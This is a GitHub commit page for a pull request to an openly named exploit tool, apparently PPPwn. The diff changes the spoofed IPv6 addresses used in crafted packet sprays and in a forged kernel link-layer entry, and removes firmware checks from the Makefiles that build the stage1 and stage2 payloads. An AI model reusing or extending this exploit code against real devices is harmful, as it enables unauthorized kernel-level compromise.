Skip to content

Commit

Permalink
Merge pull request #6 from TheOfficialFloW/master
Browse files Browse the repository at this point in the history
Use IPv6 address that works on all devices. Thanks to Borris-ta.
  • Loading branch information
SiSTR0 authored Jun 25, 2024
2 parents b5ce097 + fb4ab5f commit cc1f9a4
Show file tree
Hide file tree
Showing 3 changed files with 4 additions and 12 deletions.
8 changes: 4 additions & 4 deletions pppwn.py
Original file line number Diff line number Diff line change
Expand Up @@ -165,7 +165,7 @@ class Exploit():

SOURCE_MAC = '41:41:41:41:41:41'
SOURCE_IPV4 = '41.41.41.41'
SOURCE_IPV6 = 'fe80::4141:4141:4141:4141'
SOURCE_IPV6 = 'fe80::9f9f:41ff:9f9f:41ff'

TARGET_IPV4 = '42.42.42.42'

Expand Down Expand Up @@ -458,7 +458,7 @@ def build_fake_lle(self):
fake_lle += p32(0) # sin6_flowinfo
# sin6_addr
fake_lle += p64be(0xfe80000100000000)
fake_lle += p64be(0x4141414141414141)
fake_lle += p64be(0x9f9f41ff9f9f41ff)
fake_lle += p32(0) # sin6_scope_id

# pad
Expand Down Expand Up @@ -637,7 +637,7 @@ def run(self):
end='\r',
flush=True)

source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i)
source_ipv6 = 'fe80::{:04x}:41ff:9f9f:41ff'.format(i)

self.s.send(
Ether(src=self.source_mac, dst=self.target_mac) /
Expand Down Expand Up @@ -720,7 +720,7 @@ def run(self):
if i >= self.HOLE_START and i % self.HOLE_SPACE == 0:
continue

source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i)
source_ipv6 = 'fe80::{:04x}:41ff:9f9f:41ff'.format(i)

self.s.send(
Ether(src=self.source_mac, dst=self.target_mac) /
Expand Down
4 changes: 0 additions & 4 deletions stage1/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -6,11 +6,7 @@ OBJCOPY = objcopy
CFLAGS = -DSMP -isystem ../freebsd-headers/include -Wl,--build-id=none -Os -fno-stack-protector -fpic -fpie
LDFLAGS = -T linker.ld -nostartfiles -nostdlib

ifneq ($(filter $(FW), 700 701 702 750 751 755 800 801 803 850 852 900 903 904 950 951 960 1000 1001 1050 1070 1071 1100),)
CFLAGS += -DFIRMWARE=$(FW)
else
$(error "Invalid firmware")
endif

all: $(TARGET).bin

Expand Down
4 changes: 0 additions & 4 deletions stage2/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -6,11 +6,7 @@ OBJCOPY = objcopy
CFLAGS = -DSMP -isystem ../freebsd-headers/include -Wl,--build-id=none -Os -fno-stack-protector -fpic -fpie
LDFLAGS = -T linker.ld -nostartfiles -nostdlib

ifneq ($(filter $(FW), 700 701 702 750 751 755 800 801 803 850 852 900 903 904 950 951 960 1000 1001 1050 1070 1071 1100),)
CFLAGS += -DFIRMWARE=$(FW)
else
$(error "Invalid firmware")
endif

all: $(TARGET).bin

Expand Down

0 comments on commit cc1f9a4

Please sign in to comment.